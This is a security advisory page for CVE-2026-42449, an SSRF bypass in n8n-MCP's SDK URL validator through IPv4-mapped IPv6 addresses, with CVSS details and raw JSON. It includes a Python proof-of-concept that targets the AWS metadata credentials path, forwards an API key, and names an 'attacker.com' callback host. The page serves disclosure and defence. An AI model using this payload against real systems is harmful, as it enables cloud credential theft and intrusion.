Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-42449 CVSS 8.5 HIGH

CVE-2026-42449

Published: 2026-05-07 21:16:30
Last Modified: 2026-05-08 15:57:29

Description

n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. In versions 2.47.4 through 2.47.13, the SDK embedder path (N8NDocumentationMCPServer constructor, getN8nApiClient(), and validateInstanceContext()), the synchronous URL validator in SSRFProtection.validateUrlSync() had no IPv6 checks. IPv4-mapped IPv6 addresses such as http://[::ffff:169.254.169.254] bypassed the cloud-metadata, localhost, and private-IP range checks. An attacker able to supply an n8nApiUrl value could cause the server to issue HTTP requests to cloud metadata endpoints, RFC1918 private networks, or localhost services. Response bodies are returned to the caller (non-blind SSRF), and the n8nApiKey is forwarded in the x-n8n-api-key header to the attacker-controlled target. Projects with deployments embedding n8n-mcp as an SDK using N8NDocumentationMCPServer or N8NMCPEngine with user-supplied InstanceContext are affected. The first-party HTTP server deployment was not primarily affected β€” it has a second async validator (validateWebhookUrl) that catches IPv6 addresses. This issue has been fixed in version 2.47.14. If users are unable to upgrade immediately as a workaround they can validate URLs before passing to the SDK, restrict egress at the network layer, and reject user-controlled n8nApiUrl values.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

n8n-mcp 2.47.4 - 2.47.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_ssrf(target_url, attacker_callback_url): """ Exploit CVE-2026-42449 by sending a malicious IPv4-mapped IPv6 address to trigger SSRF against the cloud metadata service. """ # IPv4-mapped IPv6 address for AWS Metadata Service (169.254.169.254) # This bypasses the IPv4 checks in validateUrlSync() internal_target = "http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/" # The payload sent to the vulnerable n8n-mcp SDK endpoint # The SDK will fetch the URL provided in 'n8nApiUrl' and forward the API Key payload = { "n8nApiUrl": internal_target, "n8nApiKey": "leaked_api_key_value" } headers = { "Content-Type": "application/json" } print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Targeting internal metadata via: {internal_target}") try: # In a real scenario, this response would contain the metadata if returned to caller response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") # Check if the attacker controlled server received the request with the leaked key # (Simulated here) print("[!] Check attacker callback server for x-n8n-api-key header.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Example usage exploit_ssrf("http://vulnerable-instance:3000/api/mcp-endpoint", "http://attacker.com/log")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42449", "sourceIdentifier": "[email protected]", "published": "2026-05-07T21:16:30.133", "lastModified": "2026-05-08T15:57:28.817", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. In versions 2.47.4 through 2.47.13, the SDK embedder path (N8NDocumentationMCPServer constructor, getN8nApiClient(), and validateInstanceContext()), the synchronous URL validator in SSRFProtection.validateUrlSync() had no IPv6 checks. IPv4-mapped IPv6 addresses such as http://[::ffff:169.254.169.254] bypassed the cloud-metadata, localhost, and private-IP range checks. An attacker able to supply an n8nApiUrl value could cause the server to issue HTTP requests to cloud metadata endpoints, RFC1918 private networks, or localhost services. Response bodies are returned to the caller (non-blind SSRF), and the n8nApiKey is forwarded in the x-n8n-api-key header to the attacker-controlled target. Projects with deployments embedding n8n-mcp as an SDK using N8NDocumentationMCPServer or N8NMCPEngine with user-supplied InstanceContext are affected. The first-party HTTP server deployment was not primarily affected β€” it has a second async validator (validateWebhookUrl) that catches IPv6 addresses. This issue has been fixed in version 2.47.14. If users are unable to upgrade immediately as a workaround they can validate URLs before passing to the SDK, restrict egress at the network layer, and reject user-controlled n8nApiUrl values."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/czlonkowski/n8n-mcp/commit/9639f757853149f0cb16663cc8b6b6468f27a25f", "source": "[email protected]"}, {"url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-56c3-vfp2-5qqj", "source": "[email protected]"}]}}